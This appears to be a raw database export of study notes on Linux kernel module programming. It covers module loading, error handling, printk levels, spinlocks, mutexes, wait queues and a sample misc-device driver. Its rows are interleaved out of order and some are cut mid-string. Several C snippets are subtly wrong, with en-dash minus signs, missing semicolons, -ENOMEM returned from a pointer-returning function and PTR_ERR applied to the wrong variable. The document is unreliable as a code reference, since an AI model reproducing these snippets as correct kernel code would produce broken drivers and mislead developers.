dependencies in `module.dep`.\nIf it finds any, they will be loaded prior to the associated module loading; otherwise, the module is loaded directly. text txt 2024-07-28 10:08:37.814192 0 +4790 1356 If you want some modules to be loaded at boot time, just create a `/etc/modules-load.d/.conf` file and add the module names that should be loaded, one per line: text txt 2024-07-28 10:08:38.137651 0 +4791 1356 uio\niwlwifi code txt 2024-07-28 10:08:38.157784 0 +4792 1356 These configuration files are processed by `systemd-modules-load.service`, provided that `systemd` is the initialization manager on your machine.\nOn `SysVinit` systems, these files are processed by the `/etc/init.d/kmod` script. text txt 2024-07-28 10:08:38.178122 0 +4946 1404 modprobe ecryptfs code txt 2024-07-28 10:08:57.588782 0 +4793 1357 The usual command to unload a module is `rmmod`.\nThis is preferable to unloading a module loaded with the `insmod` command: text txt 2024-07-28 10:08:38.552925 0 +4794 1357 sudo rmmod mymodule code txt 2024-07-28 10:08:38.57408 0 +4795 1357 On the other hand, `modeprobe –r` automatically unloads unused dependencies: text txt 2024-07-28 10:08:38.593439 0 +4796 1357 modprobe -r mymodule code txt 2024-07-28 10:08:38.613757 0 +4797 1358 lsmod code txt 2024-07-28 10:08:39.036158 0 +4798 1358 The output includes the name of the module, the amount of memory it uses, the number of other modules that use it, and finally, the name of these. text txt 2024-07-28 10:08:39.056793 0 +4799 1358 The output of `lsmod` is actually a nice formatting view of what you can see under `/proc/modules`: text txt 2024-07-28 10:08:39.076751 0 +4800 1358 cat /proc/modules code txt 2024-07-28 10:08:39.098207 0 +4801 1358 The preceding output is raw and poorly formatted.\nTherefore, it is preferable to use `lsmod`. text txt 2024-07-28 10:08:39.120028 0 +4802 1359 Some of the errors are defined in `include/uapi/asm-generic/errno-base.h`, and the rest of the list can be found in `include/uapi/asm-generic/errno.h`. text txt 2024-07-28 10:08:39.295197 0 +4803 1360 The standard way to return an error is to do so in the form of `return –ERROR`, especially when it comes to answering system calls.\nFor example, for an I/O error, the error code is `EIO`, and you should return `-EIO`, as follows: text txt 2024-07-28 10:08:39.624549 0 +4804 1360 dev = init(&ptr);\nif(!dev)\n return –EIO code txt 2024-07-28 10:08:39.645393 0 +4805 1361 When you face an error, you must undo everything that has been set until the error occurred. text txt 2024-07-28 10:08:40.415724 0 +4806 1361 ret = 0; text txt 2024-07-28 10:08:40.436711 0 +4807 1361 ptr = kmalloc(sizeof (device_t)); text txt 2024-07-28 10:08:40.457832 0 +4808 1361 if(!ptr) {\n ret = -ENOMEM\n goto err_alloc;\n} text txt 2024-07-28 10:08:40.478272 0 +4809 1361 dev = init(&ptr); text txt 2024-07-28 10:08:40.499501 0 +4810 1361 if(!dev) {\n ret = -EIO\n goto err_init;\n} text txt 2024-07-28 10:08:40.522206 0 +4811 1361 return 0; text txt 2024-07-28 10:08:40.542809 0 +4812 1361 err_init:\n free(ptr); text txt 2024-07-28 10:08:40.564414 0 +4813 1361 err_alloc:\n return ret; code txt 2024-07-28 10:08:40.585745 0 +4814 1361 By using the `goto` statement, we have straight control flow instead of a nest. text txt 2024-07-28 10:08:40.606698 0 +4815 1361 That said, you should only use `goto` to move forward in a function, not backward, nor to implement loops (as is the case in an assembler). text txt 2024-07-28 10:08:40.628148 0 +4816 1362 When it comes to returning an error from functions that are supposed to return a pointer, functions often return the `NULL` pointer.\nIt is functional but it is a quite meaningless approach, since we do not exactly know why this `NULL` pointer is returned.\nFor that purpose, the kernel provides three functions, `ERR_PTR`, `IS_ERR`, and `PTR_ERR`, defined as follows: text txt 2024-07-28 10:08:41.702116 0 +4817 1362 void *ERR_PTR(long error);\nlong IS_ERR(const void *ptr);\nlong PTR_ERR(const void *ptr); code txt 2024-07-28 10:08:41.72245 0 +4818 1362 * `ERR_PTR`: The first macro returns the error value as a pointer.\n* `IS_ERR`: The second macro is used to check whether the returned value is a pointer error using `if(IS_ERR(foo))`.\n* `PTR_ERR`: The last one returns the actual error code, `return PTR_ERR(foo)`. text txt 2024-07-28 10:08:41.743467 0 +4819 1362 static struct iio_dev *indiodev_setup()\n{\n ...\n struct iio_dev *indio_dev;\n indio_dev = devm_iio_device_alloc(&data->client->dev, sizeof(data)); text txt 2024-07-28 10:08:41.765218 0 +4820 1362 if (!indio_dev)\n return ERR_PTR(-ENOMEM); text txt 2024-07-28 10:08:41.786229 0 +4821 1362 ...\n return indio_dev;\n} text txt 2024-07-28 10:08:41.807102 0 +4822 1362 static int foo_probe(...)\n{\n ...\n struct iio_dev *my_indio_dev = indiodev_setup(); text txt 2024-07-28 10:08:41.828152 0 +4823 1362 if (IS_ERR(my_indio_dev))\n return PTR_ERR(data->acc_indio_dev);\n ...\n} code txt 2024-07-28 10:08:41.849502 0 +4824 1362 This is an excerpt of the kernel coding style that states that if a function's name is an action or an **imperative** command, the function should return an integer error code.\nIf, however, the function's name is a **predicate**, this function should return a Boolean to indicate the succeeded status of the operation. text txt 2024-07-28 10:08:41.870918 0 +4825 1362 For example, `add_work()` function is imperative and returns `0` for success or `-EBUSY` for failure.\nOn the other hand, `pci_dev_present()` function is a predicate and returns `1` if it succeeds in finding a matching device or `0` if it doesn't. text txt 2024-07-28 10:08:41.892103 0 +4826 1363 Depending on how important the message to print is, `printk()` allowed you to choose between eight log-level messages, defined in `include/linux/kern_levels.h`. text txt 2024-07-28 10:08:42.062227 0 +4827 1364 * `pr_(...)`: This is used in regular modules that are not device drivers.\n* `dev_(struct device *dev, ...)`: This is to be used in device drivers that are not network devices.\n* `netdev_(struct net_device *dev, ...)`: This is used in `netdev` drivers exclusively. text txt 2024-07-28 10:08:42.301722 0 +4828 1365 * `pr_devel`: Dead code not being compiled, unless `DEBUG` is defined.\n* `pr_debug`, `dev_dbg`, `netdev_dbg`: Used for debug messages.\n* `pr_info`, `dev_info`, `netdev_info`: Used for informational purposes, such as start up information at driver initialization.\n* `pr_notice`, `dev_notice`, `netdev_notice`: Nothing serious but notable. Often used to report security events.\n* `pr_warn`, `dev_warn`, `netdev_warn`: Nothing serious but might indicate problems.\n* `pr_err`, `dev_err`, `netdev_err`: An error condition, often used by drivers to indicate difficulties with hardware.\n* `pr_crit`, `dev_crit`, `netdev_crit`: A critical condition occured, such as a serious hardware/software failure.\n* `pr_alert`, `dev_alert`, `netdev_alert`: Something bad happened and action must be taken immediately.\n* `pr_emerg`, `dev_emerg`, `netdev_emerg`: The system is about to crash or is unstable. text txt 2024-07-28 10:08:42.659464 0 +4829 1366 Whenever a message is printed, the kernel compares the message log level with the current console log level;\nif the former is higher (lower value) than the last, the message will be immediately printed to the console.\nYou can check your log-level parameters with the following: text txt 2024-07-28 10:08:43.031412 0 +4830 1366 cat /proc/sys/kernel/printk code txt 2024-07-28 10:08:43.05172 0 +4831 1366 First number is current log level.\nSecond value is the default log level, according to the `CONFIG_MESSAGE_LOGLEVEL_DEFAULT` option. text txt 2024-07-28 10:08:43.072113 0 +4832 1367 echo 4 > /proc/sys/kernel/printk code txt 2024-07-28 10:08:43.288261 0 +4833 1368 To prefix the module log, define `pr_fmt` macro: text txt 2024-07-28 10:08:43.67387 0 +4834 1368 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt\n#define pr_fmt(fmt) "%: " fmt, __func__ code txt 2024-07-28 10:08:43.694838 0 +4835 1368 Consider the `net/bluetooth/lib.c` file in the kernel source tree: text txt 2024-07-28 10:08:43.716438 0 +4836 1368 #define pr_fmt(fmt) "Bluetooth: " fmt code txt 2024-07-28 10:08:43.736448 0 +4837 1369 We can enumerate two synchronization mechanisms, as follows: text txt 2024-07-28 10:08:44.246989 0 +4904 1388 Simple sleeps are implemented in the kernel using dedicated APIs; waking up from such sleeps is implicit and handled by the kernel itself after the duration expires. text txt 2024-07-28 10:08:52.514615 0 +4838 1369 1. **Locks**: Used for mutual exclusion. When one contender holds the lock, no other can hold it (others are excluded). The most known locks in the kernel are **spinlocks** and **mutexes**. text txt 2024-07-28 10:08:44.267155 0 +4839 1369 A resource is said to be shared when it is accessible by several contenders, whether exclusively or not.\nWhen it is exclusive, access must be synchronized so that only the allowed contender(s) may own the resource. text txt 2024-07-28 10:08:44.287582 0 +4840 1369 The operating system performs mutual exclusion by atomically modifying a variable that holds the current state of the resource, making this visible to all contenders that might access the variable at the same time. text txt 2024-07-28 10:08:44.309222 0 +4841 1369 2. **Conditional variables**: For waiting for a change. These are implemented differently in the kernel as **wait queues** and **completion queues**. text txt 2024-07-28 10:08:44.331319 0 +4842 1369 Apart from dealing with the exclusive ownership of a given shared resource, there are situations where it is better to wait for the state of the resource to change. text txt 2024-07-28 10:08:44.352029 0 +4843 1369 The Linux kernel does not implement conditional variables, but to achieve the same or even better, the kernel provides the following mechanisms: text txt 2024-07-28 10:08:44.372867 0 +4844 1369 * **Wait queue**: To wait for a change — designed to work in concert with locks.\n* **Completion queue**: To wait for the completion of a given computation, mostly used with DMAs. text txt 2024-07-28 10:08:44.394405 0 +4845 1370 A *spinlock* is a hardware-based locking primitive that depends on hardware capabilities to provide atomic operations (such as `test_and_set`, which in a non-atomic implementation would result in read, modify, and write operations).\nIt is the simplest and the base locking primitive. text txt 2024-07-28 10:08:44.693769 0 +4846 1370 When *CPUB* is running, and task B wants to acquire the spinlock while *CPUA* has already called this spinlock's locking function, *CPUB* will simply spin around a `while` loop until the other CPU releases the lock. text txt 2024-07-28 10:08:44.714026 0 +4847 1370 This spinning will only happen on multi-core machines because, on a single-core machine, it cannot happen. text txt 2024-07-28 10:08:44.734564 0 +4848 1370 A *spinlock* is said to be a lock held by a CPU, in contrast to a *mutex* which is a lock held by a task. text txt 2024-07-28 10:08:44.755686 0 +4849 1371 A spinlock operates by disabling the scheduler on the local CPU. text txt 2024-07-28 10:08:45.028186 0 +4850 1371 This also means that a task currently running on that CPU cannot be preempted except by **interrupt requests (IRQs)** if they are not disabled on the local CPU.\nIn other words, spinlocks protect resources that only one CPU can take/access at a time. text txt 2024-07-28 10:08:45.048235 0 +4851 1371 This makes spinlocks suitable for **symmetrical multiprocessing (SMP)** safety and for executing atomic tasks. text txt 2024-07-28 10:08:45.069038 0 +4852 1372 A spinlock is created either statically using a `DEFINE_SPINLOCK` macro: text txt 2024-07-28 10:08:45.755305 0 +4853 1372 static DEFINE_SPINLOCK(my_spinlock); code txt 2024-07-28 10:08:45.776637 0 +4854 1372 This macro is defined in `include/linux/spinlock_types.h`. text txt 2024-07-28 10:08:45.796921 0 +4855 1372 For dynamic (runtime) allocation, it's better to embed the spinlock into a bigger structure, allocating memory for this structure and then calling `spin_lock_init()` on the spinlock element: text txt 2024-07-28 10:08:45.817626 0 +4856 1372 struct bigger_struct {\n spinlock_t lock;\n unsigned int foo;\n [...]\n};\nstatic struct bigger_struct *fake_init_function()\n{\n struct bigger_struct *bs;\n bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);\n if (!bs)\n return -ENOMEM;\n spin_lock_init(&bs->lock);\n return bs;\n} code txt 2024-07-28 10:08:45.838612 0 +4857 1373 We can lock/unlock the spinlock using `spin_lock()` and `spin_unlock()` inline functions, both defined in `include/linux/spinlock.h`: text txt 2024-07-28 10:08:46.15433 0 +4858 1373 static __always_inline void spin_unlock(spinlock_t *lock);\nstatic __always_inline void spin_lock(spinlock_t *lock); code txt 2024-07-28 10:08:46.174905 0 +4859 1374 Though a spinlock prevents preemption on the local CPU, it does not prevent this CPU from being hogged by an interrupt. text txt 2024-07-28 10:08:46.463142 0 +4860 1374 Imagine a situation where the CPU holds a *"spinlock"* on behalf of task A in order to protect a given resource, and an interrupt occurs.\nThe CPU will stop its current task and branch to this interrupt handler.\nNow, imagine if this IRQ handler needs to acquire this same spinlock.\nIt will infinitely spin in place, trying to acquire a lock already locked by a task that it has preempted which results in a deadlock. text txt 2024-07-28 10:08:46.484932 0 +4861 1375 To address this issue, the Linux kernel provides `_irq` variant functions for spinlocks, which, in addition to disabling/enabling preemption, also disable/enable interrupts on the local CPU.\nThese functions are `spin_lock_irq()` and `spin_unlock_irq()`, defined as follows: text txt 2024-07-28 10:08:46.772682 0 +4862 1375 static void spin_unlock_irq(spinlock_t *lock)\nstatic void spin_lock_irq(spinlock_t *lock) code txt 2024-07-28 10:08:46.79309 0 +4863 1376 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls schedule() if enabled.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:08:47.034426 0 +4864 1377 `spin_lock_irq()` function is unsafe when called from IRQs off-context as its counterpart `spin_unlock_irq()` will dumbly enable IRQs, with the risk of enabling those that were not enabled while `spin_lock_irq()` was invoked.\nIt makes sense to use `spin_lock_irq()` only when you know that interrupts are enabled. text txt 2024-07-28 10:08:47.494 0 +4865 1377 To achieve this, the kernel provides `_irqsave` variant functions that behave exactly like the `_irq` ones, with saving and restoring interrupts status features in addition.\nThese are `spin_lock_irqsave()` and `spin_lock_irqrestore()`, defined as follows: text txt 2024-07-28 10:08:47.514199 0 +4866 1377 spin_lock_irqsave(spinlock_t *lock, unsigned long flags)\nspin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) code txt 2024-07-28 10:08:47.534496 0 +4867 1377 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls `schedule()` if enabled depending on the current value of the counter, whose current value should be 0.
\nIt tries because it depends on whether other spinlocks are locked, which would affect the value of the preemption counter.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:08:47.556427 0 +4905 1388 The other sleeping mechanism is conditioned on an event and the waking up is explicit unless a sleeping timeout is specified.\nWhen timeout is not specified, another task must explicitly wake us up based on a condition, else we sleep forever. text txt 2024-07-28 10:08:52.53556 0 +4906 1388 Both sleeping APIs and wait queues implement what we can call **passive waiting**.\nThe difference between the two is how the waking up process occurs. text txt 2024-07-28 10:08:52.556469 0 +4950 1405 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.863072 0 +4868 1378 Though disabling interrupts may prevent kernel preemption nothing prevents the protected section from invoking the `schedule()` function.\nThe kernel disables or enables the scheduler, and thus preemtion, by increasing or decreasing a kernel global and per-CPU variable called `preempt_count` with 0 as default value.\nThis variable is checked by the `schedule()` function and when it is greater than 0, the scheduler simply returns and does nothing.\nThis variable is incremented at each invocation of a `spin_lock*()` family function.\nOn the other side, releasing a spinlock decrements it from 1, and whenever it reaches 0, the scheduler is invoked, meaning that your critical section would not be that atomic. text txt 2024-07-28 10:08:47.861704 0 +4869 1378 Thus, disabling interrupts protects you from kernel preemption only in cases where the protected code does not trigger preemption itself.\nThat said, code that locked a spinlock may not sleep as there would be no way to wake it up as timer interrupts and/or schedulers are disabled on the local CPU. text txt 2024-07-28 10:08:47.882671 0 +4870 1379 It behaves exactly like a *spinlock*, with the only difference being that your code can sleep.\nA spinlock is a lock held by a CPU, a mutex, on the other hand, is a lock held by a task. text txt 2024-07-28 10:08:48.378814 0 +4871 1379 A mutex is a simple data structure that embeds a wait queue to put contenders to sleep and a spinlock to protect access to this wait queue. text txt 2024-07-28 10:08:48.398354 0 +4872 1379 struct mutex {\n atomic_long_t owner;\n spinlock_t wait_lock;\n#ifdef CONFIG_MUTEX_SPIN_ON_OWNER\n struct optimistic_spin_queue osq; /* Spinner MCS lock */\n#endif\n struct list_head wait_list;\n [...]\n}; code txt 2024-07-28 10:08:48.41948 0 +4873 1379 The mutex APIs can be found in the `include/linux/mutex.h` header file. text txt 2024-07-28 10:08:48.440715 0 +4874 1380 As for other kernel core data structures, there is a static initialization: text txt 2024-07-28 10:08:49.058231 0 +4875 1380 static DEFINE_MUTEX(my_mutex); code txt 2024-07-28 10:08:49.077613 0 +4876 1380 A second approach the kernel offers is dynamic initialization, possible thanks to a call to a `__mutex_init()` low-level function, which is actually wrapped by a much more user-friendly macro, `mutex_init()`. text txt 2024-07-28 10:08:49.09841 0 +4877 1380 struct fake_data {\n struct i2c_client *client;\n u16 reg_conf;\n struct mutex mutex;\n}; text txt 2024-07-28 10:08:49.118583 0 +4878 1380 static int fake_probe(struct i2c_client *client)\n{\n [...]\n mutex_init(&data->mutex);\n [...]\n} code txt 2024-07-28 10:08:49.139492 0 +4879 1381 Acquiring (aka locking) a mutex is as simple as calling one of the following three functions: text txt 2024-07-28 10:08:49.611516 0 +4880 1381 void mutex_lock(struct mutex *lock);\nint mutex_lock_interruptible(struct mutex *lock);\nint mutex_lock_killable(struct mutex *lock); code txt 2024-07-28 10:08:49.633462 0 +4881 1381 With `mutex_lock()`, your task will be put in an uninterruptible sleep state (`TASK_UNINTERRUPTIBLE`) while waiting for the mutex to be released if it is held by another task. text txt 2024-07-28 10:08:49.652979 0 +4882 1381 `mutex_lock_interruptible()` will put your task in an interruptible sleep state, in which the sleep can be interrupted by any signal. text txt 2024-07-28 10:08:49.673065 0 +4883 1381 `mutex_lock_killable()` will allow your sleeping task to be interrupted only by signals that actually kill the task. text txt 2024-07-28 10:08:49.694197 0 +4884 1381 Each of these functions returns 0 if the lock has been acquired successfully.\nMoreover, interruptible variants return `-EINTR` when the locking attempt was interrupted by a signal. text txt 2024-07-28 10:08:49.714996 0 +4885 1382 Whichever locking function is used, only the mutex owner should release the mutex using `mutex_unlock()`: text txt 2024-07-28 10:08:49.963447 0 +4886 1382 void mutex_unlock(struct mutex *lock); code txt 2024-07-28 10:08:49.984261 0 +4887 1383 static bool mutex_is_locked(struct mutex *lock); code txt 2024-07-28 10:08:50.277152 0 +4888 1383 This function simply checks if the mutex owner is `NULL` and returns `true` if so or `false` otherwise. text txt 2024-07-28 10:08:50.298302 0 +4889 1384 The most important ones are enumerated in the `include/linux/mutex.h` kernel mutex API header file, and some of these are outlined here: text txt 2024-07-28 10:08:50.709135 0 +4890 1384 * A mutex can be held by one and only one task at a time.\n* Once held, the mutex can only be unlocked by the owner which is the task that locked it.\n* Multiple, recursive, or nested locks/unlocks are not allowed.\n* A mutex object must be initialized via the API. It must not be initialized by copying nor by using `memset()`, just as held mutexes must not be reinitialized.\n* A task that holds a mutex may not exit, just as memory areas where held locks reside must not be freed.\n* Mutexes may not be used in hardware or software interrupt contexts such as tasklets and timers. text txt 2024-07-28 10:08:50.731803 0 +4891 1384 All this makes mutexes suitable for the following cases: text txt 2024-07-28 10:08:50.751896 0 +4892 1384 * Locking only in the user context.\n* If the protected resource is not accessed from an IRQ handler and the operations need not be atomic. text txt 2024-07-28 10:08:50.772739 0 +4893 1385 It may be cheaper to use spinlocks for very small critical sections since the spinlock only suspends the scheduler and starts spinning, compared to the cost of using a mutex, which needs to suspend the current task and insert it into the mutex's wait queue, requiring the scheduler to switch to another task and rescheduling the sleeping task once the mutex is released. text txt 2024-07-28 10:08:50.957546 0 +4894 1386 Such methods try to acquire the lock and immediately return a status value, showing whether the lock has been successfully locked or not. text txt 2024-07-28 10:08:51.775442 0 +4895 1386 Both spinlock and mutex APIs provide a trylock method.\nThese are, respectively, `spin_trylock()` and `mutex_trylock()` text txt 2024-07-28 10:08:51.796258 0 +4896 1386 Both methods return 0 on failure (the lock is already locked) or 1 on success (lock acquired).\nThus, it makes sense to use these functions along with an if statement: text txt 2024-07-28 10:08:51.817871 0 +4897 1386 int mutex_trylock(struct mutex *lock) code txt 2024-07-28 10:08:51.839214 0 +4898 1386 `spin_trylock()` will lock the spinlock if it is not already locked, just as the `spin_lock()` method does.\nHowever, it immediately returns 0 without spinning in cases where the spinlock is already locked: text txt 2024-07-28 10:08:51.860399 0 +4899 1386 static DEFINE_SPINLOCK(foo_lock); text txt 2024-07-28 10:08:51.879951 0 +4900 1386 static void foo(void)\n{\n if (!spin_trylock(&foo_lock)) {\n /* Failure! the spinlock is already locked */\n return;\n } text txt 2024-07-28 10:08:51.901532 0 +4901 1386 /*\n * reaching this part of the code means that the\n * spinlock has been successfully locked\n */\n spin_unlock(&foo_lock);\n} code txt 2024-07-28 10:08:51.923088 0 +4902 1387 The term sleeping refers to a mechanism by which a task voluntarily relaxes the processor, with the possibility of another task being scheduled. text txt 2024-07-28 10:08:52.092907 0 +4903 1388 - **Sleeping APIs:** simple sleeping consist of a task sleeping and being awakened after a given duration to passively delay an operation.\n- **Wait queues:** conditional sleeping mechanism based on external events such as data availability. text txt 2024-07-28 10:08:52.493494 0 +4907 1389 The kernel scheduler manages a list of tasks in a `TASK_RUNNING` state to run, known as a **runqueue**. text txt 2024-07-28 10:08:52.783077 0 +4908 1389 On the other hand, sleeping tasks, whether interruptible or not (in a `TASK_INTERRUPTIBLE` or `TASK_UNINTERRUPTIBLE` state), have their own queues, known as **waitqueues**. text txt 2024-07-28 10:08:52.804749 0 +4911 1390 struct wait_queue_head {\n spinlock_t lock;\n struct list_head head;\n}; code txt 2024-07-28 10:08:53.280998 0 +4915 1391 wait_queue_head_t dynamic_event;\ninit_waitqueue_head(&dynamic_event); code txt 2024-07-28 10:08:53.669512 0 +4918 1392 wait_event(&some_event, (event_occured == 1));\nwait_event_interruptible(&some_event, (event_occured == 1)); code txt 2024-07-28 10:08:54.14565 0 +4921 1393 You can address such cases using `wait_event_timeout()`: text txt 2024-07-28 10:08:54.476749 0 +4924 1394 This function has two behaviors, depending on the timeout having elapsed or not. text txt 2024-07-28 10:08:54.755302 0 +4927 1396 After a change on any variable that could affect the result of the wait queue, call the appropriate `wake_up*` family function. text txt 2024-07-28 10:08:55.404297 0 +4930 1397 Because they can be interrupted by signals, you should check the return value of the `_interruptible` variants. text txt 2024-07-28 10:08:55.674794 0 +4934 1399 - Loading modules requires privileged access to the system.\n- It also requires a kernel object.\n- And it might require other modules as dependencies. text txt 2024-07-28 10:08:56.409433 0 +4939 1401 From `/proc/modules` and `/sys/modules/*` directories. text txt 2024-07-28 10:08:56.826535 0 +4943 1403 Module dependencies are stored in `/lib/modules/$(uname -r)/modules.dep` file. text txt 2024-07-28 10:08:57.266325 0 +4947 1404 This module is not usually used for modules under development. text txt 2024-07-28 10:08:57.608802 0 +4951 1406 In order for a user space application to gain access to the underlying device\ndriver within the kernel, some I/O mechanism is required. The Unix (and thus\nLinux) design is to have the process open a special type of file, a **device\nfile**, or **device node**. These files typically live in the `/dev`\ndirectory. text txt 2024-07-28 10:08:58.340489 0 +4954 1408 * The type of file – either char or block\n* The major and minor number text txt 2024-07-28 10:08:58.896229 0 +4957 1411 From 2.6 Linux onward, the `{major:minor}` pair is a single unsigned 32-bit\nquantity within the inode, a bitmask (it's the `dev_t i_rdev` member). Of\nthese 32 bits, the MSB 12 bits represent the major number and the remaining\nLSB 20 bits represent the minor number. text txt 2024-07-28 10:09:00.025496 0 +4960 1411 Here, the exception to the rule - that the kernel doesn't interpret the minor\nnumber – is the `misc` class (type character, major `#10`). It uses the minor\nnumbers as second-level majors. text txt 2024-07-28 10:09:00.09001 0 +4963 1413 A fundamental **LDM** tenet is that every single device must reside on a bus.\nUSB devices will be on USB bus, PCI devices on PCI bus, I2C devices on I2C\nbus, and so on. Available buses are available under `/sys/bus` directory. text txt 2024-07-28 10:09:00.584935 0 +4966 1415 LDM-based drivers should typically register themselves to a kernel framework\nand to a bus. The kernel framework it registers itself to depends on the type\nof the working device. For example, a driver for an RTC chip that resides on\nthe I2C bus will register itself to the kernel's RTC framework (via\n`rtc_register_device()`), and to the I2C bus (via `i2c_register_driver()`). A\ndriver for network adapter on the PCI bus will typically register itself to\nthe kernel's network inftrastructure (via `register_netdev()`) and the PCI\nbus (`pci_register_driver()`). text txt 2024-07-28 10:09:01.292599 0 +4969 1417 If a method is left out, and the user space process invokes that method, the\nkernel VFS detects that function pointer is `NULL`, returns an appropriate\nnegative integer, the glibc will multiply this by -1 and set the calling\nprocess's `errno` variable to that value, signaling that the system call\nfailed. text txt 2024-07-28 10:09:02.129004 0 +4972 1418 return nonseekable_open(struct inode *inode, struct file *fp); code txt 2024-07-28 10:09:02.659641 0 +4975 1419 static int __init miscdev_init(void)\n{\n int ret = 0;\n struct device *dev = NULL; text txt 2024-07-28 10:09:03.96827 0 +4978 1419 dev = miscdev.this_device;\n} text txt 2024-07-28 10:09:04.029202 0 +4981 1419 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi \n#include text txt 2024-07-28 10:09:08.215647 0 +5009 1423 static struct miscdevice misc_dev = {\n .name = "misc_dev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0666,\n .fops = &misc_fops,\n}; text txt 2024-07-28 10:09:08.256508 0 +5011 1423 if (unlikely(!kbuf))\n return -ENOMEM; text txt 2024-07-28 10:09:08.298698 0 +5012 1423 pr_info("opening %s (0x%x)\\\\n", file_path(fp, kbuf, PATH_MAX), fp->f_flags);\n kfree(kbuf);\n return nonseekable_open(inode, fp);\n} text txt 2024-07-28 10:09:08.319637 0 +5013 1423 static int __init misc_init(void)\n{\n int ret = 0;\n struct device *dev = NULL; text txt 2024-07-28 10:09:08.342811 0 +5014 1423 ret = misc_register(&misc_dev);\n if (ret != 0)\n {\n pr_notice("misc_dev registration failed\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:08.36526 0 +5016 1423 static void __exit misc_exit(void)\n{\n misc_deregister(&misc_dev);\n pr_info("misc_dev unloaded\\\\n");\n} text txt 2024-07-28 10:09:08.409719 0 +5017 1423 module_init(misc_init);\nmodule_exit(misc_exit); text txt 2024-07-28 10:09:08.429635 0 +5018 1423 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi "); code txt 2024-07-28 10:09:08.450589 0 +5019 1424 dd if=/dev/miscdev of=readtest bs=4K count=1\nhexdump readtest code txt 2024-07-28 10:09:08.873914 0 +5020 1424 dd if=/dev/urandom of=/dev/miscdev bs=4K count=1 code txt 2024-07-28 10:09:08.89385 0 +5021 1425 Signature for both functions of user to kernel space and vice versa are similar: text txt 2024-07-28 10:09:09.746486 0 +5022 1425 #include text txt 2024-07-28 10:09:09.767887 0 +5023 1425 unsigned long copy_to_user(void __user *to, const void *from, unsigned long n);\nunsigned long copy_from_user(void *to, const void __user *from, unsigned long n); code txt 2024-07-28 10:09:09.788791 0 +5024 1425 static ssize_t read_method(struct file *fp, char __user *ubuf, size_t count, loff_t *offset)\n{\n char *kbuf = kzalloc(); text txt 2024-07-28 10:09:09.810986 0 +5025 1425 /* ... do what's required to get data from the hardware device into kbuf ... */ text txt 2024-07-28 10:09:09.831588 0 +5026 1425 if (copy_to_user(ubuf, kbuf, count))\n {\n dev_warn(dev, "cannot copy data to user space\\\\n");\n goto out_rd_fail;\n } text txt 2024-07-28 10:09:09.854075 0 +5027 1425 return count; text txt 2024-07-28 10:09:09.874258 0 +5028 1425 out_rd_fail:\n kfree(kbuf);\n return -EIO;\n} code txt 2024-07-28 10:09:09.89681 0 +5030 1427 To check recompiled headers: text txt 2024-07-28 10:09:10.770703 0 +5031 1427 make C=1 CHECK=/usr/bin/sparse ARCH=x86_64 code txt 2024-07-28 10:09:10.793293 0 +5032 1427 To check all headers: text txt 2024-07-28 10:09:10.815389 0 +5033 1427 make C=2 CHECK=/usr/bin/sparse ARCH=x86_64 code txt 2024-07-28 10:09:10.835934 0 +5034 1428 - Extended Berkely Packet Filtering (eBPF)\n- Linux Tracing Toolkit next generation (LTTng) text txt 2024-07-28 10:09:11.10485 0 +5035 1429 Trace Compass GUI text txt 2024-07-28 10:09:11.328447 0 +5036 1430 BCC or bpftrace text txt 2024-07-28 10:09:11.537465 0 +5037 1431 v4.0 text txt 2024-07-28 10:09:11.767303 0 +5038 1432 linux-headers text txt 2024-07-28 10:09:11.992527 0 +5039 1433 Linux Driver Verification (LDV) text txt 2024-07-28 10:09:12.212169 0 +5040 1434 arm-none-eabi-gcc arm-none-eabi-gdb arm-none-eabi-binutils code txt 2024-07-28 10:09:12.471927 0 +5041 1435 qemu-system-arm code txt 2024-07-28 10:09:12.763027 0 +5042 1436 Open source tools: text txt 2024-07-28 10:09:13.266383 0 +5043 1436 * https://sparse.wiki.kernel.org - https://sparse.wiki.kernel.org/index.php/Main_Page\n* [Coccinelle](http://coccinelle.lip6.fr/)\n* [Smatch](http://repo.or.cz/w/smatch.git)\n* https://dwheeler.com - https://dwheeler.com/flawfinder/\n* https://github.com - https://github.com/danmar/cppcheck text txt 2024-07-28 10:09:13.288105 0 +5044 1436 Commercial tools: text txt 2024-07-28 10:09:13.309269 0 +5045 1436 * https://www.sonarqube.org - https://www.sonarqube.org/\n* https://scan.coverity.com - https://scan.coverity.com/\n* https://www.meteonic.com - https://www.meteonic.com/klocwork text txt 2024-07-28 10:09:13.33132 0 +5046 1437 make C=1 CHECK="/usr/bin/sparse" code txt 2024-07-28 10:09:13.558188 0 +5047 1439 * bpftrace package (https://github.com - https://github.com/iovisor/bcc) clang dependent\n* https://github.com - https://github.com/iovisor/bcc/blob/master/INSTALL.md text txt 2024-07-28 10:09:14.063341 0 +5048 1440 * https://linuxtesting.org text txt 2024-07-28 10:09:14.266528 0 +5049 1441 uname -r code txt 2024-07-28 10:09:14.498011 0 +5050 1442 git log --date-order --graph --tags --simplify-by-decoration code txt 2024-07-28 10:09:14.78944 0 +5051 1443 1. The 5.x stable release is made. Thus, the merge window for the 5.x+1 (mainline) kernel has begun.\n2. The merge window remains open for about 2 weeks and new patches are merged into the mainline.\n3. Once (typically) 2 weeks have elapsed, the merge window is closed.\n4. rc (aka mainline, prepatch) kernels start. 5.x+1-rc1, 5.x+1-rc2, ..., 5.x+1-rcn are released. This process takes anywhere between 6 to 8 weeks.\n5. The stable release has arrived: the new 5.x+1 stable kernel is released.\n6. The release is handed off to the "stable team". Significant bug or security fixes result in the release of 5.x+1.y : 5.x+1.1, 5.x+1.2, ... , 5.x+1.n. Maintained until the next stable release or End Of Life (EOL) date reached. text txt 2024-07-28 10:09:15.160956 0 +5052 1444 * -next trees\n* prepatches, also known as -rc or mainline\n* stable kernels\n* 